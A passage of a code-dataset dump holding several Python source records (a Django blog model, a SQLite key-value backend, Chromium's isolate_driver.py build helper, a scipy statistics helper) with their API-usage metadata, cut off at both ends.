"call"}, {"api_name": "imutils.resize", "line_number": 201, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 203, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 203, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 210, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_COMPLEX", "line_number": 211, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 216, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_COMPLEX", "line_number": 217, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 224, "usage_type": "call"}, {"api_name": "imutils.face_utils.shape_to_np", "line_number": 230, "usage_type": "call"}, {"api_name": "imutils.face_utils", "line_number": 230, "usage_type": "name"}, {"api_name": "cv2.convexHull", "line_number": 236, "usage_type": "call"}, {"api_name": "cv2.convexHull", "line_number": 237, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 238, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 239, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 243, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 244, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 245, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 246, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 249, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 256, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 257, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 258, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 260, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 261, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 262, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 263, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 264, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 272, "usage_type": "call"}, {"api_name": "time.time", "line_number": 274, "usage_type": "call"}, {"api_name": "firebase_admin.db.reference", "line_number": 287, "usage_type": "call"}, {"api_name": "firebase_admin.db", "line_number": 287, "usage_type": "name"}, {"api_name": "cv2.imshow", "line_number": 290, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 291, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 294, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 298, "usage_type": "call"}]} +{"seq_id": "37918086277", "text": "from django.db import models\nimport markdown\nfrom django.utils.html import strip_tags\nfrom django.contrib.auth.models import User\nfrom django.core.urlresolvers import reverse\n\n# Create your models here.\nclass Tag(models.Model):\n '''标签'''\n text = models.CharField(max_length=75)\n\n def __str__(self):\n return self.text\n \n\nclass Category(models.Model):\n '''类别'''\n text = models.CharField(max_length=100)\n\n def __str__(self):\n return self.text\n\nclass Post(models.Model):\n '''文章'''\n title = models.CharField(max_length=75)\n\n body = models.TextField()\n\n created_time = models.DateTimeField()\n \n modified_time = models.DateTimeField()\n\n excerpt = models.CharField(max_length=200,blank=True)\n #类别一多\n category = models.ForeignKey(Category)\n #标签多对多\n tag = models.ManyToManyField(Tag)\n\n author = models.ForeignKey(User)\n #阅读量 0或正整数\n views = models.PositiveIntegerField(default=0)\n\n def __str__(self):\n return self.title\n \n def get_absolute_url(self):\n return reverse('my_blog:detail',args=[self.id])\n\n def increase_views(self):\n self.views +=1\n self.save(update_fields=['views'])\n\n def save(self, *args, **kwargs): \n # 如果没有填写摘要\n if not self.excerpt:\n # 首先实例化一个 Markdown 类，用于渲染 body 的文本\n md = markdown.Markdown(extensions=[\n 'markdown.extensions.extra',\n 'markdown.extensions.codehilite',\n ])\n # 先将 Markdown 文本渲染成 HTML 文本\n # strip_tags 去掉 HTML 文本的全部 HTML 标签\n # 从文本摘取前 54 个字符赋给 excerpt\n self.excerpt = strip_tags(md.convert(self.body))[:54]\n\n # 调用父类的 save 方法将数据保存到数据库中\n super(Post, self).save(*args, **kwargs)\n\n class Meta:\n ordering = ['-created_time']\n \n\n \n", "repo_name": "DFnum26/django-blog-tutorial", "sub_path": "my_blog/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 2005, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.db.models.Model", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 16, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 23, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 27, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 27, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 31, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 33, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 35, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 35, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 37, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 39, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User", "line_number": 39, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 39, "usage_type": "name"}, {"api_name": "django.db.models.PositiveIntegerField", "line_number": 41, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 41, "usage_type": "name"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 47, "usage_type": "call"}, {"api_name": "markdown.Markdown", "line_number": 57, "usage_type": "call"}, {"api_name": "django.utils.html.strip_tags", "line_number": 64, "usage_type": "call"}]} +{"seq_id": "17344371733", "text": "'''\nDCheck Data - Sqlite Backend\n'''\n# Python\nimport sqlite3\n\n# DCheck\nimport dcheck.core.config\n\n\nclass DataEngine:\n '''\n Connect dcheck data to a sqlite backend.\n '''\n def __init__(self):\n self.connection = sqlite3.connect(\n dcheck.core.config.get('sqlite_path'))\n self._create_schema()\n\n def _create_schema(self):\n cursor = self.connection.cursor()\n cursor.execute('''\n CREATE TABLE IF NOT EXISTS data (\n key TEXT PRIMARY KEY,\n value TEXT\n )\n ''')\n self.connection.commit()\n cursor.close()\n\n def set(self, key, value):\n '''\n Set a value in SQLite\n '''\n cursor = self.connection.cursor()\n cursor.execute(\n 'INSERT OR REPLACE INTO data (key, value) VALUES (?, ?)',\n (key, value))\n self.connection.commit()\n cursor.close()\n\n def get(self, key):\n '''\n Get a value from SQLite\n '''\n cursor = self.connection.cursor()\n cursor.execute('SELECT value FROM data WHERE key = ?', (key,))\n result = cursor.fetchone()\n cursor.close()\n if result:\n return result[0]\n return None\n\n def keys(self, pattern):\n '''\n Return keys matching a given pattern\n '''\n cursor = self.connection.cursor()\n cursor.execute('SELECT key FROM data WHERE key LIKE ?', (pattern,))\n keys = [row[0] for row in cursor.fetchall()]\n cursor.close()\n return keys\n", "repo_name": "MTecknology/dfsg-review", "sub_path": "dcheck/core/data/sqlite.py", "file_name": "sqlite.py", "file_ext": "py", "file_size_in_byte": 1569, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sqlite3.connect", "line_number": 16, "usage_type": "call"}, {"api_name": "dcheck.core.config.core.config.get", "line_number": 17, "usage_type": "call"}, {"api_name": "dcheck.core.config.core", "line_number": 17, "usage_type": "attribute"}, {"api_name": "dcheck.core.config", "line_number": 17, "usage_type": "name"}]} +{"seq_id": "30498011809", "text": "import errno\nimport glob\nimport json\nimport logging\nimport os\nimport posixpath\nimport StringIO\nimport subprocess\nimport sys\nimport time\n\nTOOLS_DIR = os.path.dirname(os.path.abspath(__file__))\nSWARMING_CLIENT_DIR = os.path.join(TOOLS_DIR, 'swarming_client')\nSRC_DIR = os.path.dirname(TOOLS_DIR)\n\nsys.path.insert(0, SWARMING_CLIENT_DIR)\n\nimport isolate_format\n\n\ndef load_ninja_recursively(build_dir, ninja_path, build_steps):\n \"\"\"Crudely extracts all the subninja and build referenced in ninja_path.\n\n In particular, it ignores rule and variable declarations. The goal is to be\n performant (well, as much as python can be performant) which is currently in\n the <200ms range for a complete chromium tree. As such the code is laid out\n for performance instead of readability.\n \"\"\"\n logging.debug('Loading %s', ninja_path)\n try:\n with open(os.path.join(build_dir, ninja_path), 'rb') as f:\n line = None\n merge_line = ''\n subninja = []\n for line in f:\n line = line.rstrip()\n if not line:\n continue\n\n if line[-1] == '$':\n # The next line needs to be merged in.\n merge_line += line[:-1]\n continue\n\n if merge_line:\n line = merge_line + line\n merge_line = ''\n\n statement = line[:line.find(' ')]\n if statement == 'build':\n # Save the dependency list as a raw string. Only the lines needed will\n # be processed with raw_build_to_deps(). This saves a good 70ms of\n # processing time.\n build_target, dependencies = line[6:].split(': ', 1)\n # Interestingly, trying to be smart and only saving the build steps\n # with the intended extensions ('', '.stamp', '.so') slows down\n # parsing even if 90% of the build rules can be skipped.\n # On Windows, a single step may generate two target, so split items\n # accordingly. It has only been seen for .exe/.exe.pdb combos.\n for i in build_target.strip().split():\n build_steps[i] = dependencies\n elif statement == 'subninja':\n subninja.append(line[9:])\n except IOError:\n print >> sys.stderr, 'Failed to open %s' % ninja_path\n raise\n\n total = 1\n for rel_path in subninja:\n try:\n # Load each of the files referenced.\n # TODO(maruel): Skip the files known to not be needed. It saves an aweful\n # lot of processing time.\n total += load_ninja_recursively(build_dir, rel_path, build_steps)\n except IOError:\n print >> sys.stderr, '... as referenced by %s' % ninja_path\n raise\n return total\n\n\ndef load_ninja(build_dir):\n \"\"\"Loads the tree of .ninja files in build_dir.\"\"\"\n build_steps = {}\n total = load_ninja_recursively(build_dir, 'build.ninja', build_steps)\n logging.info('Loaded %d ninja files, %d build steps', total, len(build_steps))\n return build_steps\n\n\ndef using_blacklist(item):\n \"\"\"Returns True if an item should be analyzed.\n\n Ignores many rules that are assumed to not depend on a dynamic library. If\n the assumption doesn't hold true anymore for a file format, remove it from\n this list. This is simply an optimization.\n \"\"\"\n # *.json is ignored below, *.isolated.gen.json is an exception, it is produced\n # by isolate_driver.py in 'test_isolation_mode==prepare'.\n if item.endswith('.isolated.gen.json'):\n return True\n IGNORED = (\n '.a', '.cc', '.css', '.dat', '.def', '.frag', '.h', '.html', '.isolate',\n '.js', '.json', '.manifest', '.o', '.obj', '.pak', '.png', '.pdb', '.py',\n '.strings', '.test', '.txt', '.vert',\n )\n # ninja files use native path format.\n ext = os.path.splitext(item)[1]\n if ext in IGNORED:\n return False\n # Special case Windows, keep .dll.lib but discard .lib.\n if item.endswith('.dll.lib'):\n return True\n if ext == '.lib':\n return False\n return item not in ('', '|', '||')\n\n\ndef raw_build_to_deps(item):\n \"\"\"Converts a raw ninja build statement into the list of interesting\n dependencies.\n \"\"\"\n # TODO(maruel): Use a whitelist instead? .stamp, .so.TOC, .dylib.TOC,\n # .dll.lib, .exe and empty.\n # The first item is the build rule, e.g. 'link', 'cxx', 'phony', etc.\n return filter(using_blacklist, item.split(' ')[1:])\n\n\ndef collect_deps(target, build_steps, dependencies_added, rules_seen):\n \"\"\"Recursively adds all the interesting dependencies for |target|\n into |dependencies_added|.\n \"\"\"\n if rules_seen is None:\n rules_seen = set()\n if target in rules_seen:\n # TODO(maruel): Figure out how it happens.\n logging.warning('Circular dependency for %s!', target)\n return\n rules_seen.add(target)\n try:\n dependencies = raw_build_to_deps(build_steps[target])\n except KeyError:\n logging.info('Failed to find a build step to generate: %s', target)\n return\n logging.debug('collect_deps(%s) -> %s', target, dependencies)\n for dependency in dependencies:\n dependencies_added.add(dependency)\n collect_deps(dependency, build_steps, dependencies_added, rules_seen)\n\n\ndef post_process_deps(build_dir, dependencies):\n \"\"\"Processes the dependency list with OS specific rules.\"\"\"\n def filter_item(i):\n if i.endswith('.so.TOC'):\n # Remove only the suffix .TOC, not the .so!\n return i[:-4]\n if i.endswith('.dylib.TOC'):\n # Remove only the suffix .TOC, not the .dylib!\n return i[:-4]\n if i.endswith('.dll.lib'):\n # Remove only the suffix .lib, not the .dll!\n return i[:-4]\n return i\n\n def is_exe(i):\n # This script is only for adding new binaries that are created as part of\n # the component build.\n ext = os.path.splitext(i)[1]\n # On POSIX, executables have no extension.\n if ext not in ('', '.dll', '.dylib', '.exe', '.nexe', '.so'):\n return False\n if os.path.isabs(i):\n # In some rare case, there's dependency set explicitly on files outside\n # the checkout.\n return False\n\n # Check for execute access and strip directories. This gets rid of all the\n # phony rules.\n p = os.path.join(build_dir, i)\n return os.access(p, os.X_OK) and not os.path.isdir(p)\n\n return filter(is_exe, map(filter_item, dependencies))\n\n\ndef create_wrapper(args, isolate_index, isolated_index):\n \"\"\"Creates a wrapper .isolate that add dynamic libs.\n\n The original .isolate is not modified.\n \"\"\"\n cwd = os.getcwd()\n isolate = args[isolate_index]\n # The code assumes the .isolate file is always specified path-less in cwd. Fix\n # if this assumption doesn't hold true.\n assert os.path.basename(isolate) == isolate, isolate\n\n # This will look like ../out/Debug. This is based against cwd. Note that this\n # must equal the value provided as PRODUCT_DIR.\n build_dir = os.path.dirname(args[isolated_index])\n\n # This will look like chrome/unit_tests.isolate. It is based against SRC_DIR.\n # It's used to calculate temp_isolate.\n src_isolate = os.path.relpath(os.path.join(cwd, isolate), SRC_DIR)\n\n # The wrapping .isolate. This will look like\n # ../out/Debug/gen/chrome/unit_tests.isolate.\n temp_isolate = os.path.join(build_dir, 'gen', src_isolate)\n temp_isolate_dir = os.path.dirname(temp_isolate)\n\n # Relative path between the new and old .isolate file.\n isolate_relpath = os.path.relpath(\n '.', temp_isolate_dir).replace(os.path.sep, '/')\n\n # It's a big assumption here that the name of the isolate file matches the\n # primary target '_run'. Fix accordingly if this doesn't hold true, e.g.\n # complain to maruel@.\n target = isolate[:-len('.isolate')] + '_run'\n build_steps = load_ninja(build_dir)\n binary_deps = set()\n collect_deps(target, build_steps, binary_deps, None)\n binary_deps = post_process_deps(build_dir, binary_deps)\n logging.debug(\n 'Binary dependencies:%s', ''.join('\\n ' + i for i in binary_deps))\n\n # Now do actual wrapping .isolate.\n isolate_dict = {\n 'includes': [\n posixpath.join(isolate_relpath, isolate),\n ],\n 'variables': {\n # Will look like ['<(PRODUCT_DIR)/lib/flibuser_prefs.so'].\n 'files': sorted(\n '<(PRODUCT_DIR)/%s' % i.replace(os.path.sep, '/')\n for i in binary_deps),\n },\n }\n # Some .isolate files have the same temp directory and the build system may\n # run this script in parallel so make directories safely here.\n try:\n os.makedirs(temp_isolate_dir)\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n comment = (\n '# Warning: this file was AUTOGENERATED.\\n'\n '# DO NO EDIT.\\n')\n out = StringIO.StringIO()\n isolate_format.print_all(comment, isolate_dict, out)\n isolate_content = out.getvalue()\n with open(temp_isolate, 'wb') as f:\n f.write(isolate_content)\n logging.info('Added %d dynamic libs', len(binary_deps))\n logging.debug('%s', isolate_content)\n args[isolate_index] = temp_isolate\n\n\ndef prepare_isolate_call(args, output):\n \"\"\"Gathers all information required to run isolate.py later.\n\n Dumps it as JSON to |output| file.\n \"\"\"\n with open(output, 'wb') as f:\n json.dump({\n 'args': args,\n 'dir': os.getcwd(),\n 'version': 1,\n }, f, indent=2, sort_keys=True)\n\n\ndef rebase_directories(args, abs_base):\n \"\"\"Rebases all paths to be relative to abs_base.\"\"\"\n def replace(index):\n args[index] = os.path.relpath(os.path.abspath(args[index]), abs_base)\n for i, arg in enumerate(args):\n if arg in ['--isolate', '--isolated']:\n replace(i + 1)\n if arg == '--path-variable':\n # Path variables have a triple form: --path-variable NAME .\n replace(i + 2)\n\n\ndef main():\n logging.basicConfig(level=logging.ERROR, format='%(levelname)7s %(message)s')\n args = sys.argv[1:]\n mode = args[0] if args else None\n isolate = None\n isolated = None\n for i, arg in enumerate(args):\n if arg == '--isolate':\n isolate = i + 1\n if arg == '--isolated':\n isolated = i + 1\n if isolate is None or isolated is None or not mode:\n print >> sys.stderr, 'Internal failure'\n return 1\n\n # Make sure all paths are relative to the isolate file. This is an\n # expectation of the go binaries. In gn, this script is not called\n # relative to the isolate file, but relative to the product dir.\n new_base = os.path.abspath(os.path.dirname(args[isolate]))\n rebase_directories(args, new_base)\n assert args[isolate] == os.path.basename(args[isolate])\n os.chdir(new_base)\n\n create_wrapper(args, isolate, isolated)\n\n # In 'prepare' mode just collect all required information for postponed\n # isolated.py invocation later, store it in *.isolated.gen.json file.\n if mode == 'prepare':\n prepare_isolate_call(args[1:], args[isolated] + '.gen.json')\n return 0\n\n swarming_client = os.path.join(SRC_DIR, 'tools', 'swarming_client')\n sys.stdout.flush()\n result = subprocess.call(\n [sys.executable, os.path.join(swarming_client, 'isolate.py')] + args)\n return result\n\n\nif __name__ == '__main__':\n sys.exit(main())\n", "repo_name": "ayojs/ayo", "sub_path": "deps/v8/tools/isolate_driver.py", "file_name": "isolate_driver.py", "file_ext": "py", "file_size_in_byte": 10814, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1674, "dataset": "github-code", "pt": "85", "api": [{"api_name": "os.path.dirname", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.path.insert", "line_number": 16, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 65, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 76, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path", "line_number": 106, "usage_type": "attribute"}, {"api_name": "logging.warning", "line_number": 135, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 141, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 143, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path", "line_number": 166, "usage_type": "attribute"}, {"api_name": "os.path.isabs", "line_number": 170, "usage_type": "call"}, {"api_name": "os.path", "line_number": 170, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 177, "usage_type": "call"}, {"api_name": "os.path", "line_number": 177, "usage_type": "attribute"}, {"api_name": "os.access", "line_number": 178, "usage_type": "call"}, {"api_name": "os.X_OK", "line_number": 178, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path", "line_number": 178, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 188, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 192, "usage_type": "call"}, {"api_name": "os.path", "line_number": 192, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 196, "usage_type": "call"}, {"api_name": "os.path", "line_number": 196, "usage_type": "attribute"}, {"api_name": "os.path.relpath", "line_number": 200, "usage_type": "call"}, {"api_name": "os.path", "line_number": 200, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 200, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 204, "usage_type": "call"}, {"api_name": "os.path", "line_number": 204, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 205, "usage_type": "call"}, {"api_name": "os.path", "line_number": 205, "usage_type": "attribute"}, {"api_name": "os.path.relpath", "line_number": 208, "usage_type": "call"}, {"api_name": "os.path", "line_number": 208, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 209, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 219, "usage_type": "call"}, {"api_name": "posixpath.join", "line_number": 225, "usage_type": "call"}, {"api_name": "os.path", "line_number": 230, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 237, "usage_type": "call"}, {"api_name": "errno.EEXIST", "line_number": 239, "usage_type": "attribute"}, {"api_name": "StringIO.StringIO", "line_number": 244, "usage_type": "call"}, {"api_name": "isolate_format.print_all", "line_number": 245, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 249, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 250, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 260, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 262, "usage_type": "call"}, {"api_name": "os.path.relpath", "line_number": 270, "usage_type": "call"}, {"api_name": "os.path", "line_number": 270, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 270, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 280, "usage_type": "call"}, {"api_name": "logging.ERROR", "line_number": 280, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 281, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 291, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 297, "usage_type": "call"}, {"api_name": "os.path", "line_number": 297, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 297, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 299, "usage_type": "call"}, {"api_name": "os.path", "line_number": 299, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 300, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 310, "usage_type": "call"}, {"api_name": "os.path", "line_number": 310, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 311, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 311, "usage_type": "attribute"}, {"api_name": "subprocess.call", "line_number": 312, "usage_type": "call"}, {"api_name": "sys.executable", "line_number": 313, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 313, "usage_type": "call"}, {"api_name": "os.path", "line_number": 313, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 318, "usage_type": "call"}]} +{"seq_id": "13371077710", "text": "import datetime\nfrom scipy.stats import wilcoxon, mannwhitneyu, shapiro, ttest_rel\nimport relhelperspy.io.log_helper as _log\n\n# https://pythonfordatascienceorg.wordpress.com/wilcoxon-sign-ranked-test-python/\n# https://machinelearningmastery.com/nonparametric-statistical-significance-tests-in-python/\nclass StatisticalAnalysisHelper:\n\n\n # Si p > 0.05 -> Reject null hypothesis in support of the alternative\n '''\n The p-value can be interpreted in the context of a chosen significance level called alpha.\n A common value for alpha is 5% or 0.05. If the p-value is below the significance level,\n then the test says there is enough evidence to reject the null hypothesis and that the samples\n were likely drawn from populations with differing distributions.\n\n\n p <= alpha: reject H0, different distribution.\n p > alpha: fail to reject H0, same distribution.\n\n '''\n\n def wilcoxon_paired(before, after):\n w, p = wilcoxon(before, after)\n return w, p\n\n def wilcoxon_paired_label(before, after, alpha = 0.05):\n stat, p = StatisticalAnalysisHelper.wilcoxon_paired(before, after)\n _log.log_print('[WCX ] Statistics=' + str(stat) + ' p=' + str(p) )\n\n # interpret\n if p > alpha:\n _log.log_print('[WCX ✔] Same distribution (fail to reject H0)')\n else:\n _log.log_print('[WCX ] Different distribution (reject H0)')\n\n # Mann-Whitney U Test\n '''\n Fail to Reject H0: Sample distributions are equal.\n Reject H0: Sample distributions are not equal.\n '''\n\n def mann_whitney_u_test(before, after):\n stat, p = mannwhitneyu(before, after)\n return stat, p\n\n def mann_whitney_u_test_label(before, after, alpha = 0.05):\n\n stat, p = StatisticalAnalysisHelper.mann_whitney_u_test(before, after)\n\n _log.log_print('[MANN ] Statistics=' + str(stat) + ' p=' + str(p) )\n\n if p > alpha:\n _log.log_print('[MANN ✔] Same distribution (fail to reject H0)')\n else:\n _log.log_print('[MANN ] Different distribution (reject H0)')\n\n\n def t_test_normal(before, after, alpha = 0.05):\n\n difference = []\n zip_object = zip(before, after)\n\n for list1_i, list2_i in zip_object:\n difference.append(list1_i - list2_i)\n\n stat, p = shapiro(difference)\n\n _log.log_print('[SHAP ] Statistics=' + str(stat) + ' p=' + str(p))\n\n if p >= alpha:\n _log.log_print('[SHAP ✔] p >= alpha, Is normal distribution')\n StatisticalAnalysisHelper.t_test_label(before, after, alpha)\n else:\n _log.log_print('[SHAP ] p < alpha, Is NOT normal distribution')\n\n\n def t_test(before, after):\n stat, p = ttest_rel(before, after)\n return stat, p\n\n\n def t_test_label(before, after, alpha):\n statistic, p = ttest_rel(before, after)\n if p > alpha:\n _log.log_print('[TSTU ✔] Same distribution (fail to reject H0)')\n else:\n _log.log_print('[TSTU ] Different distribution (reject H0)')\n\n\n def run_tests_labeled(before, after):\n\n _log.log_print(\"Test results for \" + str(len(before)) + \", \" + str(len(before)) + \" elementos \" )\n\n try:\n StatisticalAnalysisHelper.wilcoxon_paired_label(before, after)\n except:\n _log.log_print(\"No se ha podido ejecutar wilcoxon\")\n\n try:\n StatisticalAnalysisHelper.mann_whitney_u_test_label(before, after)\n except:\n _log.log_print(\"No se ha podido ejecutar whitney\")\n\n try:\n StatisticalAnalysisHelper.t_test_normal(before, after)\n except:\n _log.log_print(\"No se ha podido ejecutar ttest\")\n\n _log.log_print(datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\"))\n _log.log_print(\"\\n\\n\")\n\n return _log.get_log()", "repo_name": "IsGarrido/Evaluating-Gender-Bias-in-Spanish-Deep-Learning-Models", "sub_path": "src/relheperspy/stats/statistical_analysis_helper.py", "file_name": "statistical_analysis_helper.py", "file_ext": "py", "file_size_in_byte": 3857, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "scipy.stats.wilcoxon", "line_number": 24, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper.log_print", "line_number": 29, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 29, "usage_type": "name"}, {"api_name": "relhelperspy.io.log_helper.log_print", "line_number": 33, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 33, "usage_type": "name"}, {"api_name": "relhelperspy.io.log_helper.log_print", "line_number": 35, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 35, "usage_type": "name"}, {"api_name": "scipy.stats.mannwhitneyu", "line_number": 44, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper.log_print", "line_number": 51, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 51, "usage_type": "name"}, {"api_name": "relhelperspy.io.log_helper.log_print", "line_number": 54, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 54, "usage_type": "name"}, {"api_name": "relhelperspy.io.log_helper.log_print", "line_number": 56, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 56, "usage_type": "name"}, {"api_name": "scipy.stats.shapiro", "line_number": 67, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper.log_print", "line_number": 69, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 69, "usage_type": "name"}, {"api_name": "relhelperspy.io.log_helper.log_print", "line_number": 72, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 72, "usage_type": "name"}, {"api_name": "relhelperspy.io.log_helper.log_print", "line_number": 75, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 75, "usage_type": "name"}, {"api_name": "scipy.stats.ttest_rel", "line_number": 79, "usage_type": "call"}, {"api_name": "scipy.stats.ttest_rel", "line_number": 84, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper.log_print", "line_number": 86, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 86, "usage_type": "name"}, {"api_name": "relhelperspy.io.log_helper.log_print", "line_number": 88, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 88, "usage_type": "name"}, {"api_name": "relhelperspy.io.log_helper.log_print", "line_number": 93, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 93, "usage_type": "name"}, {"api_name": "relhelperspy.io.log_helper.log_print", "line_number": 98, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 98, "usage_type": "name"}, {"api_name": "relhelperspy.io.log_helper.log_print", "line_number": 103, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 103, "usage_type": "name"}, {"api_name": "relhelperspy.io.log_helper.log_print", "line_number": 108, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 108, "usage_type": "name"}, {"api_name": 